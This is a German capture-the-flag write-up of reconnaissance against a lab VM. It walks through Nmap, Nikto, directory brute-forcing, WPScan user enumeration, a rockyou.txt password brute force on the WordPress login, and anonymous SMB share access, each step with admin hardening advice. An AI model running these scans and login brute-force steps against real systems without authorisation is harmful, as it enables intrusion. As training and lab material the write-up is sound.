Analyse: Der erste Schritt in unserem Pentest ist die Reconnaissance-Phase, in der wir versuchen, das Zielsystem im Netzwerk zu identifizieren. Wir verwenden `arp-scan`, ein Tool, das ARP-Anfragen (Address Resolution Protocol) ins lokale Netzwerk sendet, um aktive Hosts zu finden und deren MAC- und IP-Adressen aufzulisten.
Bewertung: Dieser Schritt ist fundamental, um die IP-Adresse unseres Ziels zu ermitteln. Ohne die IP können wir keine weiteren Scans oder Angriffe starten. `arp-scan` ist oft schneller und unauffälliger für die reine Host-Discovery im lokalen Netz als ein Nmap Ping-Scan.
Empfehlung (Pentester): Immer mit einer Host-Discovery im lokalen Netz beginnen. `arp-scan -l` ist eine gute Wahl dafür. Alternativ kann `netdiscover` oder `nmap -sn` verwendet werden.
Empfehlung (Admin): Netzwerküberwachung implementieren, um ungewöhnliche ARP-Aktivitäten zu erkennen (obwohl ARP-Scans oft legitimer Netzwerkverkehr sind). Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.
192.168.2.138 08:00:27:2e:ef:fc PCS Systemtechnik GmbH
Analyse: `arp-scan` hat erfolgreich einen Host mit der IP-Adresse 192.168.2.138 und der MAC-Adresse 08:00:27:2e:ef:fc identifiziert. Die MAC-Adresse deutet auf "PCS Systemtechnik GmbH" hin, was oft ein Hinweis auf VirtualBox ist (OUI 08:00:27 gehört Oracle/VirtualBox). Wir haben unser Ziel gefunden.
Bewertung: Die Identifizierung der IP-Adresse ist ein kritischer Erfolg. Die MAC-Adresse bestätigt, dass es sich wahrscheinlich um eine virtuelle Maschine handelt, was in CTF-Szenarien üblich ist.
Empfehlung (Pentester): Die gefundene IP-Adresse als Ziel für alle weiteren Scans verwenden. Die MAC-Adresse kann Hinweise auf die Virtualisierungssoftware geben.
Empfehlung (Admin): Kenntnis über die im Netzwerk befindlichen Geräte (Inventarisierung) ist wichtig, um unbekannte oder unerwünschte Systeme schnell zu identifizieren.
Analyse: Um die Interaktion mit dem Zielsystem zu vereinfachen und uns nicht ständig die IP merken zu müssen, fügen wir einen Eintrag in unsere lokale `/etc/hosts`-Datei hinzu. `vi` ist ein Texteditor, mit dem wir diese Datei bearbeiten. Wir weisen der IP-Adresse 192.168.2.138 den Hostnamen `billy.vuln` zu.
Bewertung: Dies ist eine reine Komfortmaßnahme für den Pentester. Sie erleichtert die Eingabe von Befehlen, da wir nun `billy.vuln` statt der IP verwenden können. Es hat keine direkte Auswirkung auf das Zielsystem.
Empfehlung (Pentester): Bei längeren Tests oder komplexen Umgebungen Hostnamen in der `/etc/hosts`-Datei zu definieren, um die Übersichtlichkeit zu erhöhen und Tippfehler zu vermeiden.
Empfehlung (Admin): Die lokale `hosts`-Datei auf Client-Systemen hat normalerweise keine sicherheitskritische Auswirkung auf den Server, es sei denn, Applikationen verlassen sich fälschlicherweise auf lokale Hostnamenauflösung für Authentifizierungs- oder Autorisierungsentscheidungen.
# Inhalt der Datei nach Bearbeitung: 192.168.2.138 billy.vuln
Analyse: Als Nächstes führen wir einen Nmap-Scan durch, um offene Ports und laufende Dienste auf dem Zielsystem zu identifizieren.
-sS
: Führt einen TCP SYN-Scan (Stealth Scan) durch. Dieser ist oft weniger auffällig als ein voller TCP Connect-Scan.-sC
: Führt Standard-Nmap-Skripte aus, um zusätzliche Informationen über die Dienste zu sammeln (z.B. Versionen, Konfigurationen).-T5
: Setzt das Timing-Template auf "insane". Dies beschleunigt den Scan erheblich, kann aber ungenauer sein und leichter von Intrusion Detection Systems (IDS) erkannt werden. Für CTFs ist dies oft akzeptabel.-A
: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. Dies ist ein sehr aggressiver und umfassender Scan.192.168.2.138
: Die IP-Adresse unseres Ziels. *(Anmerkung: Im späteren Verlauf wird die IP 192.168.2.139 gescannt. Es scheint, dass sich die IP geändert hat oder ein Fehler im Bericht vorliegt. Wir gehen ab hier von 192.168.2.139 aus.)*-p-
: Scannt alle 65535 TCP-Ports.Bewertung: Dieser umfassende Nmap-Scan ist ein zentraler Schritt der Reconnaissance. Er liefert uns eine detaillierte Übersicht über die Angriffsfläche des Systems auf Netzwerkebene. Die Ergebnisse zeigen eine Vielzahl offener Ports (21, 22, 23, 69, 80, 139, 445, 1974, 2525), die potenzielle Einstiegspunkte darstellen. Die Versionsinformationen (Apache 2.4.18, Samba 4.3.9, OpenSSH 7.2p2) sind entscheidend für die Suche nach bekannten Schwachstellen.
Empfehlung (Pentester): Die Liste der offenen Ports und Dienste systematisch untersuchen. Veraltete Softwareversionen (Apache, Samba) auf bekannte Exploits prüfen. Die Ergebnisse der Nmap-Skripte (`-sC`, `-A`) genau analysieren (z.B. SMB-Informationen, HTTP-Titel, SMTP-Befehle). Die Warnungen bezüglich Port 23 im Hinterkopf behalten.
Empfehlung (Admin): Firewall-Regeln überprüfen und nur notwendige Ports öffnen (Prinzip der geringsten Rechte). Dienste auf dem neuesten Stand halten, um bekannte Schwachstellen zu vermeiden. SMB-Konfiguration überprüfen (Message Signing ist deaktiviert, was unsicher ist). SSH-Hostkey-Fehler im Nmap-Skript untersuchen. Den Telnet-Dienst auf Port 23 überprüfen und ggf. deaktivieren oder absichern.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-15 18:15 CEST
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
Nmap scan report for billy.vuln (192.168.2.139)
Host is up (0.00013s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.2.137
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (RSA)
| 256 SHA256:imEpU5XSZgSy5/1CavRfPmpi/6VGl023AycLPXN2xDQ (ED25519)
|_ 256 SHA256:yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy (ECDSA)
23/tcp open telnet?
| fingerprint-strings:
| NULL:
|_ * HAHAH! You're banned for a while, Billy Boy! By the way, I caught you trying to hack my wifi - but the joke's on you! I don't use ROtten passwords like rkfpuzrahngvat anymore! Madison Hotels is as good as MINE!!!! *
69/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
|_http-title: Welcome | Just another WordPress site
|_http-generator: WordPress 1.0
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Oh nooooooo!
|_http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
1974/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (RSA)
| 256 SHA256:imEpU5XSZgSy5/1CavRfPmpi/6VGl023AycLPXN2xDQ (ED25519)
|_ 256 SHA256:yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy (ECDSA)
2525/tcp open smtp SubEtha smtpd
| smtp-commands: BM, 8BITMIME, AUTH LOGIN, HELP, EHLO, NOOP, RCPT, MAIL, DATA, RSET, VRFY, QUIT, STARTTLS
|_ SubEthaSMTP null on BM Topics: HELP EHLO RCPT MAIL DATA AUTH LOGIN NOOP RSET VRFY QUIT STARTTLS For more info use "HELP <topic>". End of HELP info
MAC Address: 08:00:27:AE:B9:75 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: Host: BM; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h40m02s, deviation: 2h53m15s, median: 0s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-06-15T16:17:07
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: bm
| NetBIOS computer name: BM\x00
| Domain name: \x00
| FQDN: bm
|_ System time: 2023-06-15T11:17:10-05:00
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
TRACEROUTE
HOP RTT ADDRESS
1 0.13 ms billy.vuln (192.168.2.139)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.95 seconds
Analyse: Um eine kompaktere Übersicht der offenen Ports zu erhalten, filtern wir die vorherige Nmap-Ausgabe mit `grep open`. Dies extrahiert nur die Zeilen, die das Wort "open" enthalten.
Bewertung: Dies ist eine nützliche Technik, um lange Nmap-Ausgaben schnell zu sichten und sich auf die relevanten (offenen) Ports zu konzentrieren. Es bestätigt die zuvor identifizierten Ports: 21 (FTP), 22 (SSH), 23 (Telnet?), 69 (HTTP/CalDAV - WordPress), 80 (HTTP - Apache), 139 (NetBIOS), 445 (SMB), 1974 (SSH), 2525 (SMTP).
Empfehlung (Pentester): `grep` ist ein mächtiges Werkzeug zur Filterung von Textausgaben. Es kann verwendet werden, um spezifische Informationen aus umfangreichen Logs oder Scan-Ergebnissen zu extrahieren. Die gefilterte Liste dient als Checkliste für die weitere Enumeration der einzelnen Dienste.
Empfehlung (Admin): Keine direkten administrativen Maßnahmen erforderlich, da dies nur eine andere Darstellung der vorherigen Scan-Ergebnisse ist.
WARNING: RST from 192.168.2.139 port 23 -- is this port really open? 21/tcp open ftp vsftpd 3.0.3 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 23/tcp open telnet? 69/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer) |_http-title: Welcome | Just another WordPress site 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Oh nooooooo! 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP) 1974/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 2525/tcp open smtp SubEtha smtpd OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
Analyse: Wir beginnen mit der Untersuchung des Webservers auf Port 80. Nikto ist ein Webserver-Scanner, der nach bekannten Schwachstellen, Fehlkonfigurationen, Standarddateien und veralteten Softwareversionen sucht. Wir führen ihn gegen die IP-Adresse des Ziels auf Port 80 aus.
Bewertung: Nikto liefert wertvolle Informationen:
Empfehlung (Pentester): Die gefundenen Punkte weiter untersuchen: Die Apache-Version auf Exploits prüfen. Das Apache-Handbuch und die Verzeichnisauflistung nach sensiblen Informationen durchsuchen. Versuchen, die `wp-config.php#`-Datei herunterzuladen und zu analysieren (auch auf Port 69 testen). Die fehlenden Sicherheitsheader notieren.
Empfehlung (Admin): Apache auf die neueste stabile Version aktualisieren. Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc.) in der Apache-Konfiguration hinzufügen. Zugriff auf das Apache-Handbuch und Standarddateien beschränken oder entfernen. Verzeichnisauflistung deaktivieren. Sicherstellen, dass keine Konfigurations-Backup-Dateien im Web-Root liegen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.138 + Target Hostname: 192.168.2.138 + Target Port: 80 + Start Time: 2023-06-15 18:04:44 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /manual/: Web server manual found. + /manual/images/: Directory indexing found. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8102 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2023-06-15 18:04:53 (GMT2) (9 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Wir verwenden `gobuster`, um Verzeichnisse und Dateien auf dem Webserver (Port 80, Hostname `billy.vuln`) zu bruteforcen.
dir
: Aktiviert den Verzeichnis/Datei-Bruteforce-Modus.-u http://billy.vuln
: Die Ziel-URL.-x ...
: Eine lange Liste von Dateierweiterungen, nach denen zusätzlich gesucht werden soll.-w "/usr/share/seclists/..."
: Die Wortliste, die für Verzeichnis- und Dateinamen verwendet wird (eine gängige, mittelgroße Liste).-b '403,404'
: HTTP-Statuscodes, die ausgeblendet werden sollen (Forbidden, Not Found).-e
: Erweiterter Modus, der vollständige URLs anzeigt.--no-error
: Unterdrückt Fehlermeldungen bei Verbindungsproblemen.Bewertung: Gobuster findet hier nur die Startseite (`/index.php`) und das Apache-Handbuch (`/manual/`, mit einer Weiterleitung). Dies liefert auf Port 80 keine neuen, signifikanten Einstiegspunkte im Vergleich zu Nikto. Die Suche nach versteckten Verzeichnissen oder Dateien war auf diesem Port nicht erfolgreich.
Empfehlung (Pentester): Die Ergebnisse zur Kenntnis nehmen. Da Port 80 wenig Angriffsfläche bietet (abgesehen von der veralteten Apache-Version und dem Manual), den Fokus auf andere Ports, insbesondere Port 69 (WordPress), legen. Eventuell andere Wortlisten oder Erweiterungen mit Gobuster testen, falls mehr Zeit vorhanden ist.
Empfehlung (Admin): Sicherstellen, dass keine unnötigen Dateien oder Verzeichnisse im Web-Root liegen. Tools wie Gobuster können legitime Anfragen generieren, aber eine sehr hohe Anzahl von 404-Fehlern in kurzer Zeit könnte auf einen Bruteforce-Versuch hindeuten und sollte überwacht werden.
=============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://billy.vuln [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.5 [+] Extensions: aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,txt,php,rar,tar,pub,xls,docx,doc,sql,db,mdb,asp [+] Expanded: true [+] Timeout: 10s =============================================================== 2023/06/15 18:10:01 Starting gobuster in directory enumeration mode =============================================================== http://billy.vuln/index.php (Status: 200) [Size: 937] http://billy.vuln/manual (Status: 301) [Size: 309] [--> http://billy.vuln/manual/] =============================================================== 2023/06/15 18:12:34 Finished ===============================================================
Analyse: Da der Nmap-Scan auf Port 69 einen WordPress-Titel (`Welcome | Just another WordPress site`) gezeigt hat, führen wir nun einen Verzeichnis-Scan speziell gegen diesen Port durch. Wir verwenden `dirb`, einen weiteren Verzeichnis-Scanner, mit einer Standard-Wortliste.
Bewertung: Dirb bestätigt das Vorhandensein einer WordPress-Installation auf Port 69 und findet wichtige Dateien und Verzeichnisse:
Empfehlung (Pentester): Die WordPress-Installation auf Port 69 nun gezielt mit Tools wie WPScan untersuchen. Die Login-Seite `/wp-login.php` auf mögliche Benutzer-/Passwort-Angriffe prüfen. Die `/readme.html`-Datei auf Versionsinformationen untersuchen. `/xmlrpc.php` auf bekannte Schwachstellen prüfen und ggf. für Brute-Force nutzen.
Empfehlung (Admin): Den Zugriff auf `/wp-login.php` und `/xmlrpc.php` einschränken (z.B. IP-Whitelisting, Zwei-Faktor-Authentifizierung, starke Passwörter erzwingen). Die `/readme.html`-Datei entfernen, um Informationslecks zu minimieren. WordPress und alle Plugins/Themes aktuell halten.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu Jun 15 18:20:00 2023 URL_BASE: http://billy.vuln:69/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://billy.vuln:69/ ---- + http://billy.vuln:69/index.php (CODE:200|SIZE:6581) + http://billy.vuln:69/wp-login.php (CODE:200|SIZE:2013) + http://billy.vuln:69/readme.html (CODE:200|SIZE:9223) + http://billy.vuln:69/wp-admin/ (CODE:302|SIZE:231) --> http://billy.vuln:69/wp-login.php?redirect_to=http%3A%2F%2Fbilly.vuln%3A69%2Fwp-admin%2F&reauth=1 + http://billy.vuln:69/xmlrpc.php (CODE:200|SIZE:42) ---- Entering directory: http://billy.vuln:69/wp-admin/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Thu Jun 15 18:21:00 2023 DOWNLOADED: 4612 - FOUND: 5
Analyse: Wir verwenden WPScan, einen spezialisierten WordPress-Sicherheits-Scanner, um die Installation auf Port 69 genauer zu untersuchen. Ohne weitere Optionen führt WPScan eine passive Erkennung durch, sucht nach der Version, dem Theme und Plugins.
Bewertung: WPScan liefert weitere Details:
Empfehlung (Pentester): Nach bekannten Schwachstellen für das Theme `twentyeleven` Version 1.4 suchen. WPScan erneut mit aggressiveren Optionen ausführen (z.B. Plugin-Enumeration `-e ap`, Benutzer-Enumeration `-e u`).
Empfehlung (Admin): Das Theme `twentyeleven` dringend auf die neueste Version aktualisieren oder durch ein anderes, aktuell gehaltenes Theme ersetzen. WordPress-Core ebenfalls auf Updates prüfen. Den benutzerdefinierten Server-Header entfernen, da er unnötige Informationen preisgibt.
(699 / 699) 100.00% Time: 00:00:00 [i] The WordPress version could not be detected. [+] WordPress theme in use: twentyeleven | Location: http://billy.vuln:69/static/wp-content/themes/twentyeleven/ | Last Updated: 2023-03-29T00:00:00.000Z | [!] The version is out of date, the latest version is 4.3 | Style URL: http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css | Style Name: Twenty Eleven | Style URI: http://wordpress.org/extend/themes/twentyeleven | Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a cust... | Author: the WordPress team | Author URI: http://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Urls In Homepage (Passive Detection) | | Version: 1.4 (80% confidence) | Found By: Style (Passive Detection) | - http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css, Match: 'Version: 1.4' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:00 <=> (137 / 137) 100.00% Time: 00:00:00 [i] No Config Backups Found. [+] WPScan DB API Key Provided | Plan: free | Requests Done (during the scan): 1 | Requests Remaining: 24 [+] Finished: Thu Jun 15 23:51:16 2023 [+] Requests Done: 886 [+] Cached Requests: 8 [+] Data Sent: 195.13 KB [+] Data Received: 239.024 KB [+] Memory used: 234.785 MB [+] Elapsed time: 00:00:04 ]]>
Analyse: Wir führen WPScan erneut aus, diesmal mit der Option `-e u`, um explizit nach WordPress-Benutzernamen zu suchen. Die Option `--api-token` wird verwendet, um die WPScan Vulnerability Database abzufragen (obwohl hier keine Schwachstellen gefunden werden).
Bewertung: WPScan identifiziert erfolgreich einen Benutzernamen: `admin`. Dies geschieht durch Analyse von Autoren-Posts und Brute-Forcing von Autoren-IDs. Die Kenntnis eines gültigen Benutzernamens ist der erste Schritt für einen Brute-Force-Angriff auf die Login-Seite.
Empfehlung (Pentester): Den Benutzernamen `admin` für Passwort-Angriffe auf `/wp-login.php` verwenden (z.B. mit WPScan selbst oder Hydra).
Empfehlung (Admin): Den Standard-Benutzernamen `admin` vermeiden und einen eindeutigen Namen wählen. Benutzer-Enumeration erschweren, z.B. durch Deaktivieren der Autoren-Archive oder Verwendung von Plugins, die die Enumeration über die REST-API oder Autoren-IDs verhindern.
(699 / 699) 100.00% Time: 00:00:00 [i] The WordPress version could not be detected. [+] WordPress theme in use: twentyeleven | Location: http://billy.vuln:69/static/wp-content/themes/twentyeleven/ | Last Updated: 2023-03-29T00:00:00.000Z | [!] The version is out of date, the latest version is 4.3 | Style URL: http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css | Style Name: Twenty Eleven | Style URI: http://wordpress.org/extend/themes/twentyeleven | Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a cust... | Author: the WordPress team | Author URI: http://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Urls In Homepage (Passive Detection) | | Version: 1.4 (80% confidence) | Found By: Style (Passive Detection) | - http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css, Match: 'Version: 1.4' [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:04:00 <> (10 / 10) 100.00% Time: 00:04:00 [i] User(s) Identified: [+] admin | Found By: Author Posts - Display Name (Passive Detection) | Confirmed By: Author Id Brute Forcing - Display Name (Aggressive Detection) [+] WPScan DB API Key Provided | Plan: free | Requests Done (during the scan): 0 | Requests Remaining: 24 [+] Finished: Thu Jun 15 23:56:16 2023 [+] Requests Done: 724 [+] Cached Requests: 59 [+] Data Sent: 161.079 KB [+] Data Received: 119.19 KB [+] Memory used: 154.793 MB [+] Elapsed time: 00:04:02 ]]>
Analyse: Wir versuchen nun, das Passwort für den WordPress-Benutzer `admin` mittels eines Brute-Force-Angriffs zu finden. Wir verwenden WPScan mit der Option `--usernames admin` und `--passwords /usr/share/wordlists/rockyou.txt`. Die `rockyou.txt` ist eine sehr große und häufig verwendete Liste von geleakten Passwörtern. `--max-threads 2` begrenzt die Anzahl paralleler Versuche, um den Server nicht zu überlasten (oder um nicht blockiert zu werden).
Bewertung: Der Angriff läuft eine Weile (~16 Minuten), testet über 340.000 Passwörter, wird aber dann vom Benutzer (vermutlich uns selbst) abgebrochen (`Scan Aborted: Canceled by User`). Es wurde kein gültiges Passwort gefunden. Dies deutet darauf hin, dass entweder das Passwort nicht in der `rockyou.txt`-Liste enthalten ist oder der Angriff zu lange gedauert hätte.
Empfehlung (Pentester): Andere Passwortlisten ausprobieren oder einen gezielteren Angriff versuchen, falls Hinweise auf das Passwortformat oder den Inhalt gefunden werden. Den WordPress-Angriff vorerst zurückstellen und andere Dienste weiter untersuchen.
Empfehlung (Admin): Starke, einzigartige Passwörter für alle Benutzerkonten erzwingen. Implementierung von Login-Rate-Limiting und/oder Captchas, um Brute-Force-Angriffe auf `/wp-login.php` zu erschweren oder zu blockieren. Überwachung fehlgeschlagener Login-Versuche.
(699 / 699) 100.00% Time: 00:00:00 [i] The WordPress version could not be detected. [+] WordPress theme in use: twentyeleven | Location: http://billy.vuln:69/static/wp-content/themes/twentyeleven/ | Last Updated: 2023-03-29T00:00:00.000Z | [!] The version is out of date, the latest version is 4.3 | Style URL: http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css | Style Name: Twenty Eleven | Style URI: http://wordpress.org/extend/themes/twentyeleven | Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a cust... | Author: the WordPress team | Author URI: http://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Urls In Homepage (Passive Detection) | | Version: 1.4 (80% confidence) | Found By: Style (Passive Detection) | - http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css, Match: 'Version: 1.4' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:00 <=> (137 / 137) 100.00% Time: 00:00:00 [i] No Config Backups Found. [+] Performing password attack on Wp Login against 1 user/s Trying admin / 12011989 Time: 00:03:08 < Time: 00:15:54 < > (341809 / 14344399) 2.38% ETA: 10:51:36 [i] No Valid Passwords Found. [+] WPScan DB API Key provided | Plan: free | Requests Done (during the scan): 1 | Requests Remaining: 23 [+] Finished: Fri Jun 16 00:19:44 2023 [+] Requests Done: 342701 [+] Cached Requests: 8 [+] Data Sent: 96.475 MB [+] Data Received: 990.886 MB [+] Memory used: 305.258 MB [+] Elapsed time: 00:16:01 Scan Aborted: Canceled by User ]]>
Analyse: Wir untersuchen nun die SMB/NetBIOS-Dienste (Ports 139, 445). `enum4linux` ist ein Tool, das versucht, Informationen aus Windows- und Samba-Systemen zu extrahieren, darunter Benutzerlisten, Freigaben, Gruppen, Passwortrichtlinien etc. `-a` versucht, alle möglichen Informationen zu sammeln.
Bewertung: `enum4linux` scheitert hier größtenteils. Es kann die Arbeitsgruppe/Domäne nicht finden und erhält keine Antwort auf Nbtstat-Anfragen. Entscheidend ist die Meldung `[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.`. Dies bedeutet, dass anonyme (Null Session) Verbindungen zum RPC-Dienst nicht erlaubt sind, was viele der Enumerationstechniken von `enum4linux` verhindert. Das Tool liefert uns hier keine verwertbaren Informationen.
Empfehlung (Pentester): Auch wenn `enum4linux` fehlschlägt, bedeutet das nicht, dass SMB keine Schwachstellen hat. Andere Tools wie `smbclient` oder `nmap` SMB-Skripte verwenden, um gezielt nach Freigaben oder spezifischen Schwachstellen zu suchen. Den Fokus auf authentifizierte Scans legen, falls Zugangsdaten bekannt werden.
Empfehlung (Admin): Die Konfiguration, die Null Sessions verhindert, ist eine gute Sicherheitspraxis und sollte beibehalten werden (`restrict anonymous = 2` in `smb.conf`).
Analyse: Da `enum4linux` keine Freigaben auflisten konnte, versuchen wir es direkt mit `smbclient`. Der Befehl `smbclient -L //192.168.2.139` listet die verfügbaren SMB-Freigaben auf dem Zielhost auf. Wir werden nach einem Passwort für den Benutzer `root` in der Arbeitsgruppe `WORKGROUP` gefragt, versuchen aber eine anonyme Verbindung durch einfaches Drücken von Enter.
Bewertung: Trotz des Fehlschlags von `enum4linux` ist `smbclient` erfolgreich! Es listet eine interessante Freigabe auf: `EricsSecretStuff` (Typ: Disk). Die IPC$-Freigabe ist standardmäßig vorhanden. Dies zeigt, dass anonymes Auflisten von Freigaben erlaubt ist, auch wenn Null Sessions zum RPC-Dienst blockiert sind. Die Freigabe `EricsSecretStuff` ist unser nächstes Ziel.
Empfehlung (Pentester): Immer versuchen, Freigaben auch dann aufzulisten, wenn Tools wie `enum4linux` scheitern. Die gefundene Freigabe `EricsSecretStuff` mit `smbclient` verbinden und deren Inhalt untersuchen.
Empfehlung (Admin): Überprüfen, ob das anonyme Auflisten von Freigaben notwendig ist. Falls nicht, kann dies in der Samba-Konfiguration eingeschränkt werden. Die Berechtigungen für die Freigabe `EricsSecretStuff` prüfen und sicherstellen, dass keine sensiblen Daten unbeabsichtigt preisgegeben werden.
Password for [WORKGROUP\root]: Sharename Type Comment --------- ---- ------- EricsSecretStuff Disk IPC$ IPC IPC Service (BM) Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP BM
Analyse: Wir verbinden uns nun mit der zuvor entdeckten Freigabe `EricsSecretStuff` mithilfe von `smbclient //192.168.2.139/EricsSecretStuff`. Wieder versuchen wir eine anonyme Anmeldung (Enter beim Passwort-Prompt). Nach erfolgreicher Verbindung verwenden wir den Befehl `ls`, um den Inhalt der Freigabe aufzulisten. Anschließend versuchen wir, die gefundenen Dateien `._.DS_Store`, `ebd.txt` und `.DS_Store` mit dem `get`-Befehl herunterzuladen. Zuletzt testen wir mit `put ben.php` (eine leere Testdatei), ob wir Schreibrechte in der Freigabe haben.
Bewertung: Der anonyme Zugriff auf die Freigabe `EricsSecretStuff` gelingt. Wir finden drei Dateien:
Empfehlung (Pentester): Den Inhalt der heruntergeladenen Datei `ebd.txt` analysieren. Die `.DS_Store`-Dateien können optional mit spezialisierten Tools untersucht werden, falls `ebd.txt` keine Hinweise liefert.
Empfehlung (Admin): Die Berechtigungen der Freigabe `EricsSecretStuff` überprüfen. Anonymer Lesezugriff sollte nur gewährt werden, wenn dies absolut notwendig ist und die Daten nicht sensibel sind. Schreibzugriff korrekt eingeschränkt.
